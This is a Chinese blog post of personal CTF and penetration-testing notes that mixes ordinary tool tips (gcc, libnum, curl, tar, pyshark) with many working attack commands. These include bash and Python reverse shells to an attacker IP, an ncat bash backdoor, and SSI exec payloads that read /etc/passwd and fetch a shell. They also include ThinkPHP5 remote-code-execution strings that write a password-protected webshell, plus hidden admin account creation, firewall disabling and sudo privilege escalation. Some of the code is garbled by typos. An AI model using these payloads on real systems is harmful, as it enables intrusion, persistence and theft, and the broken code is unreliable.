概述
一般的wordpress的404页面路径:http://ip:port/wordpress/wp-content/themes/twentyfourteen/404.php
或者:http://ip:port/wp-content/themes/twentyten/404.php
Table of Contents
1,windows下gcc使用:
2,libnum的部分 用法:
3,php审计:
漏洞:
7,nc 命令:
8,dirb命令
9,zcat命令
10,windows中创建,删除用户,修改密码,启用/关闭用户
11,cmd一些命令:
13,靶场信息探测:
14,对于探测结果分析
15,挖掘敏感信息
16,扩大战果
17,深入挖掘
18,背水一战(使用暴力破解)
29,ssi注入
SHTML文件
SSI基本语法
前提条件
30,路径遍历漏洞
31,用python建立一个临时的SimpleHTTPServer ,不用再把要执行或访问的文件放在 Apache2 的根目录下了
33,wpscan工具
35,linu中的常用解压命令:
40, 使用bash命令 制造一个反弹shell的后门
42,curl常用命令:
44,perl 常用命令:
46,python的 的 group函数
49,文件上传中的条件竞争:
50,php中的strstr()函数:
1,python中 pyshark库的部分使用方法:
2,python 中 pyc文件反编译为py文件
3,ThinkPHP5 的远程命令执行漏洞
1,windows下gcc使用:
c: gcc qwe.c -o 123 #include<stdio.h> #include<math.h>
c++ g++ wee.cpp -o 123 #include<iostream>
2,libnum的部分 用法:
import libnum
s="flag{pcat}"
print libnum.s2n(s) #字符转 十进制
n=0x666c61677b706361747d
print libnum.n2s(n) # 十六进制 转字符
b='01110000011000110110000101110100'
print libnum.b2s(b) # 二进制 转 字符
s='pcat'
print libnum.s2b(s) # 字符 转二进制
# s 代表 字符
# n 代表 十六进制
# b 代表 二进制
len_in_bits(n) -n的二进制表示形式的位数
randint_bits(size) -具有给定位大小的随机数
gcd(a,b,...) -所有参数的最大公约数
lcm(a,b,...) -所有参数的最小公倍数
invmod(a,n) -模逆
primes(n)-不大于@n的质数列表,慢速方法
generate_prime(size,k = 25)-生成具有@size位长度的伪素数。@k是许多测试。
generate_prime_from_string(s,size = None,k = 25)-以字符串表示形式生成一个以@s开头的伪素数
factorize(n)-因数分解@n(当前使用rho-Pollard方法)警告:因式分解的格式现在像{p1:e1,p2:e2,...}
Curve(a,b,p,g,order,cofactor,seed)-表示椭圆曲线的类。
.is_opposite(p1,p2)-检查两个点是否相反
.check(p)-检查点是否在曲线上
.check_x(x)-检查曲线上是否存在具有给定x的点
.find_points_in_range(start,end
grey_code(n)-格雷码中的数字
rev_grey_code(g)-格雷码中的数字
nCk(n,k)-组合数
3,php审计:
1,in_arrary()函数:
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
漏洞:没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,设置为ture会进行强比较,比较数据类型
由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。
由于这里(上图第6行)并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
2,htmlspecialchars 函数 和 filter_var 函数
功能 :将特殊字符转换为 HTML 实体
定义 :string htmlspecialchars ( string $string
[, int $flags
= ENT_COMPAT | ENT_HTML401 [, string$encoding
= ini_get("default_charset") [, bool $double_encode
= TRUE ]]] )
& (& 符号) =============== &
" (双引号) =============== "
' (单引号) =============== '
< (小于号) =============== <
> (大于号) =============== >
功能 :使用特定的过滤器过滤一个变量 例如: FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url,
定义 :mixed filter_var ( mixed $variable
[, int $filter
= FILTER_DEFAULT [, mixed $options
]] )
漏洞:
针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过
我们使用 payload :?url=javascript://comment%250aalert(1)
,可以执行 alert 函数:
实际上,这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。当然,这里我们要对 % 百分号编码成 %25 ,因为程序将浏览器发来的payload:javascript://comment%250aalert(1)
先解码成: javascript://comment%0aalert(1)
存储在变量 $url 中(上图第二行代码),然后用户点击a标签链接就会触发 alert 函数。
小知识点:
filter_var()常用的几个过滤器:
FILTER_VALIDATE_URL: 把值作为 URL 来验证。
FILTER_VALIDATE_EMAIL 把值作为 e-mail 地址来验证
FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。
FILTER_SANITIZE_URL 删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|^~[]`<>#%";/?:@&=
FILTER_SANITIZE_EMAIL 删除所有字符,除了字母、数字以及 !#$%&'*+-/=?^_`{|}~@.[]
FILTER_SANITIZE_STRING 去除标签,去除或编码特殊字符。
parse_url(url)本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
exec()执行给定的 command
。:危险函数
4,命令注入中的特殊符号
cmd > file 把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件
cmd >> file 把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。
cmd < file 使cmd命令从file读入
cmd << text 从命令行读取输入,直到一个与text相同的行结束。
cmd <> file 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。
`(反引号)
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。例如以下指令:
bash
echo It is now `date`
等价于:
echo It is now 一 12月 17 12:16:04 GMT 2018
在正式执行时会产生以下输出结果:
It is now 一 12月 17 12:16:04 GMT 2018
当输入参数有长度控制时,绕过方法:
注意是倒序创建, 最后 用 sh a 去执行 构造好的命令
示例:
这里构造了的命令: wget xxx.com -o shell.php 远程下载shell.php
5,了解到一种新的PHP控制输入的过滤方式, str_replace()
示例:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
for($i=0; $i<5; $i++) //这里进行循环过滤,防止使用 双写绕过 http: htthttpp
{
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => ''
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
}
}
将 ip中的非法字符替换为空,
上面的 str_replace进行了 递归的匹配替换(递归到没有非法字符为止), 非常好用
str_replace ( mixed $search
, mixed $replace
, mixed $subject
[, int &$count
] ) : mixed
preg_replace ( mixed $pattern
, mixed $replacement
, mixed $subject
[, int $limit
= -1 [, int &$count
]] ) : mixed
两者用法类似
区别: preg_replace()函数可以用 正则表达 ,str_replace()不能
str_replace()可以用上面示例的 用数组的方式进行递归匹配,preg_replace()没有类似用法
6,linux中查看端口占用情况:
netstat命令各个参数说明如下:
-t : 指明显示TCP端口
-u : 指明显示UDP端口
-l : 仅显示监听套接字(所谓套接字就是使应用程序能够读写与收发通讯协议(protocol)与资料的程序)
-p : 显示进程标识符和程序名称,每一个套接字/端口都属于一个程序。
-n : 不进行DNS轮询,显示IP(可以加速操作)
netstat -ntulp //查看当前所有tcp和udp端口·
netstat -ntulp |grep 80 //查看所有80端口使用情况·
netstat -ntulp | grep 3306 //查看所有3306端口使用情况·
7,nc 命令:
1,实现一个简易的聊天器, 单向的
windows中 是 ncat linux 中是 nc
监听端口 1234 :
nc -lvp 1234
连接目标机器:
nc ip—地址 端口号
2,设置一个后门:
创建后门的命令为:
$ ncat -l 10000 -e /bin/bash
-e
标志将一个 bash 与端口 10000 相连。客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限
$ ncat 192.168.1.100 10000
3,文件传输:(文件传输可以反向)
Server
$nc -l 1567 < file.txt
Client
$nc -n 172.31.100.7 1567 > file.txt
8,dirb命令
dirb是一个类似windows下御剑这些目录扫描工具,
dirb ip 字典路径
一般不需要指定字典,会使用默认字典,我们也自定义字典
默认字典路径
/usr/share/dirb/wordlists/comment.txt
wordlists 目录下还有好几个字典可以使用
除此之外还要一款kali自带的目录扫描工具
DirBuster
DirBuster是一个多线程java应用程序,旨在强制Web /应用程序服务器上的目录和文件名。DirBuster总共有9个不同的列表; 这使得DirBuster在查找隐藏文件和目录方面非常有效。
同样打开终端并键入Dirbuster,然后输入目标URL,如下图所示,并浏览/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt进行暴力攻击。
9,zcat命令
zcat命令用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。
-S:指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项;
-c:将文件内容写到标注输出;
-d:执行解压缩操作;
-l:显示压缩包中文件的列表;
-L:显示软件许可信息;
-q:禁用警告信息;
-r:在目录上执行递归操作;
-t:测试压缩文件的完整性;
-V:显示指令的版本信息;
-l:更快的压缩速度;
-9:更高的压缩比。
本题中使用到的命令:
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
5,john常用命令 (保存字典的目录: /usr/share/john/)
John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。
1,破解shadow文件(shadow文件用于储存linux中加密后的密码)
john shadow
也可以指定 字典
john --wordlist=/usr/share/john/password.lst shadow
2, 提取ssh 私钥里面的密码:
先将文件转换为 john可以执行的文件
python /usr/share/john/ssh2john.py id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
3,keepass2数据库密码
先将加密文件转为john可以执行的文件
python /usr/share/john/keeppass2john.py newdb.kdb > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack
4, rar 提取密码
先将加密文件转为john可以执行的文件
python /usr/share/john/rar2john.py encrypted.rar > crack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack
10,windows中创建,删除用户,修改密码,启用/关闭用户
查看当前用户(不显示隐藏用户,可以在 我的电脑-》管理》用户和组 》用户,中查看所有用户)
net user
创建用户:(用户名前加$符号可以创建隐藏账户)(必须以管理员权限运行cmd)
net user username password /add
给新创建的用户分组:(提升为管理员)
net localgroup administrators luohao /add
删除用户:
net user username /del
修改密码:
net user administrator 123123 //将administrator用户的面改为 123123
启用/关闭用户
net user administrator /active:yes
net user administrator /active:no
11,cmd一些命令:
查看版本: ver
查看配置: systeminfo
查看进程: tasklist
查看正在运行的服务: tasklist /svc
查看开放的所有端口: netstat -ano
查看指定服务的路径: sc qc Mysql
关闭防火墙: net stop sharedaccess
把cmd.exe复制到的temp目录下并命名为cmd.txt:copy c:windowstempcookiescmd.exe c:windowstempcmd.txt
开3389端口的命令:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
12,ssh 基于TCP 22 号端口的服务
13,靶场信息探测:
对于给定的ip地址的靶机,对其进行渗透测试,首先需要考虑靶场机器开放的服务
探测靶场开放的服务于服务的版本:
nmap -sV ip_address
探测靶场的全部信息:
nmap -A -v -T4 ip
-A:全部信息
-v: 详细显示
-T:线程
探测靶场的操作系统和版本:
nmap -O ip
14,对于探测结果分析
对于SSH服务的22端口:
首先考虑: 1,暴力破解
2,私钥泄露(私钥有没有对应的密码,是否可以找到 认证关键字文件 ,进而确定用户名)
对于开放http服务的 80端口 或者 其他端口靶场:
首先考虑: 1,通过浏览器访问靶场,查找关键信息
2,通过 探测工具对 http 的目录进行探测,如: dirb
特别注意 大于 1024 的特殊端口
15,挖掘敏感信息
使用浏览器对靶场的http服务进行探测,对页面中展示的内容也要注意吗,尤其是联系人等信息(有可能就是ssh的用户名信息),递归访问,力争把每一个 dirb扫描到的目录页面都 查看一遍
尤其对 robots.txt文件,一些目录进行访问,挖掘具有利用价值的信息。队友开放的ssh服务的靶场,务必要注意是否可以找到ssh私钥信息(id_rsa)
特别注意 config 等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息
16,扩大战果
登录服务器后,我们需要做一下操作:
1,查看点用户的 whoami
2,id 查看当前用户的权限
3,查看根目录 寻找 flag文件
如果是root权限,那表明这个靶场已经被我们拿下
如果不是root权限,那就需要进一步提权,一般情况下,flag文件只属于root用户组用户
cat /etc/passwd 查看所有用户的列表
cat /etc/group 查看用户组
find / -user username 查看属于某用户的文件
ls -al /tmp 查看缓冲区文件目录 ,看是否有一些临时性的文件
17,深入挖掘
需要特别关注的文件:
/etc/crontab 文件 通过/etc/crontab文件,设定系统定期执行的任务、要编辑,需要root权限。不同的用户都可以有不同的定时任务
挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应着靶场机器的某个文件
如果在 /etc/crontab下有某个用户的定时任务文件,但是具体的目录下没有这个 定时执行的文件,可以自行创建反弹shell,然后netcat监听获取对应用户的权限
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是都具有读写权限
反弹shell
靶场代码:
#!/usr/bin/python
import os,subprodess,socket
s = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)
s.connect("攻击机的ip","攻击器监听的端口")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
18,背水一战(使用暴力破解)
万不得已的时候,不得不使用暴力破解的方法破解 口令
破解工具: hydra、medusa
利用cuup创建字典
git clone https://github.com/jeanphorn/common-password.git
chomd +x cupp.py
./cupp.py -i (以交互的方式创建字典)
20,查看端口占用情况:
netstat -pantu
21,给某个文件加权限
chmod 777 file.py
或者
chmod +x file.py //加可执行权限
22,banner信息:
banner 信息来表示欢迎语,其中会包含一些敏感信息,所以获取 banner 也属于信息搜集的范畴。在渗透测试中,典型的 4xx、5xx 信息泄露就属于 banner 泄露的一种。在 banner 信息中,可以获取到软件开发商、软件名称、服务类型、版本号等。而版本号有时候就会存在公开的 CVE 问题,可以直接进行利用。
nc 在建立链接后会返回相应端口的 banner,
在扫描到一些大端口后 可以尝试使用 nc 返回banner信息
nc ip port
也可以使用 nmap批量获取 banner信息
强大的 nmap 肯定也有获取 banner 的方法,只不过是通过脚本实现的,因为 banner 获取是建立在连接的基础上的,所以需要用到 sT 参数,sT 用来连接目标,其命令和结果如下:
nmap -sT 192.168.11.167 -p 1-1000 --script=banner
23, linux中的cat 命令可以用 more 代替,利用这一点可以绕过某些过滤
24,注意具有未知服务的大端口,
1,可以用 nc 查看端口的banner信息,也许banner中就能敏感信息
nc 192.168.11.167 22223
2,当22号端口 禁止登陆ssh服务的时候 ,可以尝试使用 这些大端口进行ssh登陆
ssh -p 22223 summer@192.168.11.167
25, 渗透要由外而内,在外部获取足够多的信息之后,侵入内部也就是顺理成章的事,不要拿到靶场ip就只想着侵入后台,在侵入后台之前,一定要先收集外部的信息!要对每一个开放的服务进行探测,不放过一个可以利用的点
26,win 打开远程桌面窗口:运行 》mstsc
kali中:
rdesktop 172.16.70.199:3389
27,kali中竟然还自带有webshell:
保存目录: /usr/share/webshell (只需要修改ip 和端口就可以使用)
28,sqlmap中指定注入点:
1,注入点在 XFF中: (注意 XFF后面的 * 号) (在)
sqlmap -u “http://123.113.134.123” --batch --level 3 --thread 4 --headers="X-Forwarded-For:*" --dbs
2,注入cookie,referer,user-agent,
sqlmap -u "http://123.123.123.123" --cookie "uname=admin" --batch --level 3 –dbs
29,ssi注入
SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
基本原理就是: SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
SHTML文件
SHTML即Server-Parsed HTML。
shtml文件(还有stm、shtm文件)就是应用了SSI技术的html文件,所以在.shtml页面返回到客户端前,页面中的SSI指令将被服务器解析。可以使用SSI指令将其它文件、图片包含在页面中,也可以将其它的CGI程序包含在页面中,如.aspx文件。在给客户端返回的页面中不会包含SSI指令。如果SSI指令不能被解析,则浏览器会将其做为普通的HTML注释处理。
IIS,Nginx和Apache都支持ssi服务,默认关闭
SSI基本语法
1、显示服务器端环境变量 <#echo>
<!--#echo var="DOCUMENT_NAME"--> 本文档名称
<!--#echo var="DATE_LOCAL"--> 现在时间:
显示IP地址: <!--#echo var="REMOTE_ADDR"-->
2、将文本内容直接插入到文档中 <#include>
<!--#include file="文件名称"-->
<!--#include virtual="index.html" -->
<!--#include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径。
3、直接执行服务器上的各种程序 <#exec>
(如CGI或其他可执行程序)
<!–#exec cmd="命令"–>
<!--#exec cmd="cat /etc/passwd"-->
<!--#exec cmd="wget http://192.123.131.13/shell.py"-->
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
前提条件
攻击者要想进行SSI注入、在Web服务器上运行任意命令,需要满足下列几点前提条件才能成功:
- Web服务器支持并开启了SSI;
- Web应用程序在返回HTML页面时,嵌入了用户输入的内容;
- 外部输入的参数值未进行有效的过滤;
30,路径遍历漏洞
漏洞的成因,对用户的输入过滤不严,开启了远程文件包含和本地文件包含
目录遍历漏洞的特征要注意:
?page=xxx.php
?home=xxx.html
?index=xxx.jsp
常用漏洞验证方式:
1:../../../../../../(多少个../都行,越多越好)/etc/passwd
URL上这一串东西的意义:../返回上级目录,当返回到根目录时候再../还是根目录,然后直接进入linux系统的passwd文件
2.file:///etc/passwd(这里是文件包含漏洞,不过利用方法一致)
3.http://xxxxx
前两者用途:可以读取到目标系统的机密文件
远程文件包含用途:可以构建一个带有shellcode的网站,使目标访问,进而得到shell(虽然是低权限shell)
如果开启了远程文件包含并且没有进行严格的用户过滤的话,就会导致包含执行远程的webshell代码
31,用python建立一个临时的SimpleHTTPServer ,不用再把要执行或访问的文件放在 Apache2 的根目录下了
python -m "SimpleHTTPServer"
默认是开启 8000 也可以指定端口,直接在后面跟端口名就行
32,dirb 指定字典 ,直接在 地址后面跟字典路径即可 默认使用 comment.txt 可以使用的kali字典的字典有:
33,wpscan工具
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
使用wpscan枚举 username:
wpscan --url http://192.168.11.170/serect/ --enumerate u
–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息。输入下列命令开始对服务器进行扫描:
wpscan –u http://192.168.0.101/wordpress/
扫描
wpscan –u http://192.168.0.101/wordpress --enumerate t //主题扫描
wpscan –u http://192.168.0.101/wordpress --enumerate vt //扫描主题中存在的漏洞
wpscan –u http://192.168.0.101/wordpress --enumerate p //插件扫描
wpscan –u http://192.168.0.101/wordpress --enumerate vp //扫描插件中的安全漏洞
使用WPScan进行暴力破解
在进行暴力破解攻击之前,我们需要创建对应的字典文件。输入下列命令:
wpscan –u http://192.168.0.101/wordpress/ --wordlist /root/Desktop/dict.txt --usernameadmin
34,一些网站的文件读取的修复方案(不采用循环过滤替代字符的方案)
<?php
$filename = $_REQUEST['file'];
switch($filename){
case "config":
echo file_get_contents("config.php");
break;
default:
echo '请求错误';
}
?>
这里直接用白名单的形式读取文件
对比而言,对 ../ 等非法字符过滤,不如直接用白名单
35,linu中的常用解压命令:
unzip filename.zip
tar -xvf FileName.tar
tar -zxvf filename.tar.gz
-z: gzip 压缩格式
-x: extract 解压
-v: verbose 详细信息
-f: file(file=archieve) 文件
tar -jxvf filename.tar.bz2
-j: bzip2 压缩格式
tar -Jxvf filename.tar.xz
注意J大写
gunzip FileName.gz
bzip2 -d FileName.bz
uncompress FileName.Z
rar -x FileName.rar
36,kali中创建文件/文件夹的快捷方式:
(必须使用绝对路径)
ln -s /usr/share/wordlists /root/desktop
37,kali 将 windows的共享文件挂载到桌面上:(临时的,重启后就没有了)
vmhgfs-fuse .host:/kali /root/desktop/share
38,
39,在本地使用 ssh命令登录 不需要输入密码(在/home/simon 中发现 .ssh目录)
ssh simon@localhost sudo -l
关闭防火墙
ssh simon@localhost sudo ufw disable //ubuntu的自带的防火墙 ufw
40, 使用bash命令 制造一个反弹shell的后门
sudo bash -i >& /dev/tcp/192.168.11.165/4444 0>&1
或者:
echo ' bash -i >& /dev/tcp/192.168.11.165/4444 0>&1'| bash
实例:
ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.11.165/4444 0>&1
然后在 攻击端监听:
nc -lvp 4444
41, 扫描端口 http服务允许使用的method:
curl -v -X OPTIONS http://192.168.11.172/test
-v 输出详细信息 -X 输出http报头,
42,curl常用命令:
1,模拟GET/POST请求
# 使用curl发送GET请求
$ curl http://127.0.0.1:8080/login?user=admin&passwd=12345678
# 使用curl发送POST请求
$ curl -d "user=admin&passwd=12345678" http://127.0.0.1:8080/login
2,指定http头部信息 -H 可以指定多条头部信息
$ curl -H "Content-Type:application/json" http://127.0.0.1:8080
3,抓取页面:(--progress 可以显示进度条)()
curl -o test.html www.baidu.com
curl -O http://www.linux.com/hello.sh //注意大写 O
// 必须具体到url的某个文件才行
4, 在访问需要授权的页面时,可通过-u选项提供用户名和密码进行授权
curl -u admin http://taobao.com
//之后会提示输入密码
5,查公网 ip:
curl cip.cc
6,指定proxy服务器以及其端口
很多时候上网需要用到代理服务器(比如是使用代理服务器上网或者因为使用curl别人网站而被别人屏蔽IP地址的时候),幸运的是curl通过使用内置option:-x来支持设置代理
# curl -x 192.168.100.100:1080 http://www.linux.com
7,保存cookie
有些网站是使用cookie来记录session信息。对于chrome这样的浏览器,可以轻易处理cookie信息,但在curl中只要增加相关参数也是可以很容易的处理cookie,,执行后cookie信息就被存到了cookiec.txt里面了
# curl -c cookiec.txt http://www.linux.com
使用cookie
# curl -b cookiec.txt http://www.linux.com
8,上传文件
# curl -T dodo1.JPG -u 用户名:密码 ftp://www.linux.com/img/
43, 查看 www-data用户的 sudo权限
sudo -l
可以看到 www-data 用户可以使用 perl命令
使用Perl 命令提权:
sudo perl -e "exec /bin/sh'
bash -i //以交互模式运行bash
44,perl 常用命令:
Perl 是 Practical Extraction and Report Language 的缩写,可翻译为 "实用报表提取语言"。
Perl 是高级、通用、直译式、动态的程序语言。
用 perl 甚至可以写出比python更简单的脚本
1,执行指定脚本
perl -e "print 43" //输出 43
perl -e "exec '/bin/sh'"
也可以编写pl脚本 (首行需指定perl解释器路径 #!/usr/bin/perl)
执行pl脚本 ./test.pl
2,检查 pl脚本错误
perl -c test.pl
45,rar文件伪加密
在文件头的第 二行的第7位 为 84 为加密 ,,80/20 不加密
46,python的 的 group函数
group函数 会返回 上条正则表达中 括号中匹配到的值
import re
#定义了两个group,因为包含两个括号
m = re.match("(w+) (w+)", "Isaac Newton, physicist")
#group(0)就是匹配的整个结果
print(m.group(0)) #输出结果为Isaac Newton
#group(1)是第一个group的值
print(m.group(1)) #输出结果为Isaac
#group(2)是第二个group的值
print(m.group(2)) #输出结果为Newton
#groups返回所有的group,以元组的形式
print(m.groups()) #输出结果为('Isaac','Newton')
47, python 的切片
字符串的逆置:
n = "adfsfffss"
print(n[::-1])
切片从 右向左读取
数组的逆置:
n = ['a','d','c','f']
print(n.reverse())
直接用 reverse函数进行 数组的逆置
48,php中 chdir(‘uploaded’)函数 切换目录为uploaded
49,文件上传中的条件竞争:
一边用 burp suite 上传webshell文件,一边用 脚本你访问webshell脚本,就会造成条件竞争
burp suite 》intruder模块 》 options 》把线程调为 30 》payloads 调为 Null payload 》把payloads 设置为 1000条
然后利用脚本访问 上传的 webshell
import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
r = requests.get(url)
if 'flag' in r.text:
print r.text
或者 抓两次包,
一次上传webshell ,发送到 intruder模块
一次 访问 webshell 的地址,发送到 intruder模块
50,php中的strstr()函数:
strstr(string,search,before_search)
在字符串 string中 查看 子字符串search是否存在
第三个参数 默认为 false 如果设置为 "true",它将返回 search 参数第一次出现的位置前面的字符串
可以用大小写绕过 strstr()函数
1,python中 pyshark库的部分使用方法:
(1)提取流量包的摘要信息:
import pyshark
cap = pyshark.FileCapture('test.pcap', only_summaries=True)
print cap[69]
#69 4.967058 127.0.0.1 127.0.0.1 HTTP 286 GET /?id=1'%20and%20ascii(substring((select%20keyid%20from%20flag%20limit%200,1),1,1))=35%23 HTTP/1.1
(2)过滤器display_filter 和 bpf_filter
bpf_filter:
>>> cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80')
>>> cap.sniff(timeout=5)
>>> cap
<LiveCapture (21 packets)>
>>> print cap[5].highest_layer
HTTP
display_filter:
>>> cap = pyshark.FileCapture('test.pcap', display_filter="dns")
>>> for pkt in cap:
...: print pkt.highest_layer
...:
DNS
DNS
DNS
DNS
DNS
... (truncated)
(3)keeep_packets
PyShark只会在要对数据包进行处理的时候才会将其读入内存。在你处理数据包的过程中,PyShark会将每个数据包添加到 capture 对象中叫 _packet
的列表属性的末尾。当处理大量的数据包时,这个列表将占用大量的内存,因此PyShark提供了这个选项使得内存中一次仅保留一个数据包。
如果 keep_packets 设置为False(默认为True),PyShark在读取新数据包时会将上一个从内存中清除。我发现这样能提升一点数据包遍历处理的速度
>>> cap = pyshark.FileCapture('test.pcap', keep_packets=False)
(4)apply_on_packet() 方法 和 next()方法 循环遍历数据包
next()
方法使得 capture 对象可以通过for循环进行遍历。apply_on_packets()
方法是另一种遍历数据包的方式,它接受一个函数作为参数并将之作用于所有的数据包
>>> cap = pyshark.FileCapture('test.pcap', keep_packets=False)
>>> def print_highest_layer(pkt)
...: print pkt.highest_layer
>>> cap.apply_on_packets(print_highest_layer)
HTTP
HTTP
HTTP
HTTP
HTTP
... (truncated)
2,python 中 pyc文件反编译为py文件
uncompyle6 1.pyc >1.py
说明: pyc文件是py文件编译后的文件,正常的代码执行不生成pyc文件,只有在 一个脚本被重复利用的时候才会生成pyc文件,比如,一个脚本被当做 模块调用后,就会生成该脚本一个 pyc文件,
3,ThinkPHP5 的远程命令执行漏洞
影响版本
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
方式一:(直接修改后面的命令)
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat ../../../flag");'
方式二:
post地址:http://anquanceshi.com/public/index.php?s=captcha
POST内容:c=system&f=whoami&_method=filter
直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的信息。
在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的执行代
码是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',base64_decode('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1
写入的是一句话木马,连接密码是pass.
有些低版本的网站,可以不使用captcha参数也可是执行远程代码,代码如下:
_method=__construct&filter[]=system&method=GET&get[]=whoami
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
最后
以上就是迅速画笔为你收集整理的《随笔 三》的全部内容,希望文章能够帮你解决《随笔 三》所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复